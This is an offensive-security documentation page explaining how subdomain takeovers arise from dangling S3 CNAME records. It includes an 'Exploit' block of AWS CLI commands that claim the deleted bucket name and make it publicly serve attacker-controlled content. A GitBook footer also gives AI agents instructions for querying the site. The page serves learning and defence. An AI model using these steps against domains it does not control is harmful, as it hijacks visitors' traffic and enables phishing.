> For the complete documentation index, see [llms.txt](https://www.techwithtyler.dev/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/subdomain-takeovers.md).

# Subdomain Takeovers

## What is a Subdomain Takeover?

* Subdomains e.g., `projects.mywebsite.com` have DNS records that can point to resources like servers or AWS S3 buckets
* When the resource is deleted but the DNS record remains, an attacker can create a new resource with the same name, redirecting traffic to the attacker's

***

## S3 Bucket&#x20;

* S3 buckets can host static websites and leverage a domain name by having an associated CNAME record configured. This allows you to go to `mywebsite.com` instead of `https://mywebsite.s3.amazonaws.com`. However, if the bucket is deleted but the CNAME still exists, an attacker can create a new bucket and website, effectively routing any traffic to the attacker's website.&#x20;
* This vulnerability can be discovered while navigating to a domain and receiving a 404 error along with the code `NoSuchBucket`. The examples below show a bucket without a CNAME record but the same error messages would show regardless.&#x20;

<figure><img src="/files/7F4p3qgWq2mfdBAn1d1L" alt=""><figcaption><p>Error message shown in web browser of an S3 static website where the bucket has been deleted</p></figcaption></figure>

<figure><img src="/files/hyNj8Ci7QC1KWIztyGTD" alt=""><figcaption><p>Error message shown in a terminal of an S3 static website where the bucket has been deleted</p></figcaption></figure>

### Exploit

{% code overflow="wrap" %}

```bash
# create an s3 bucket
aws s3api create-bucket --bucket <bucketName> --region <region>

# configures the bucket to host a website
aws s3 website s3://<bucketName> --index-document index.html --error-document error.html

# copy website files to s3
aws s3 cp index.html error.html s3://<bucketName> 

# set the bucket to public
aws s3api put-public-access-block --bucket <bucketName> --public-access-block-configuration "BlockPublicAcls=false,IgnorePublicAcls=false,BlockPublicPolicy=false,RestrictPublicBuckets=false"

# add a bucket policy enabling anyone to view the website
aws s3api put-bucket-policy --bucket <bucketName> --policy "{"Version":"2012-10-17","Statement":[{"Sid":"PublicReadGetObject","Effect":"Allow","Principal":"","Action":"s3:GetObject","Resource":"arn:aws:s3:::<bucketName>/"}]}"
```

{% endcode %}

***


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/subdomain-takeovers.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
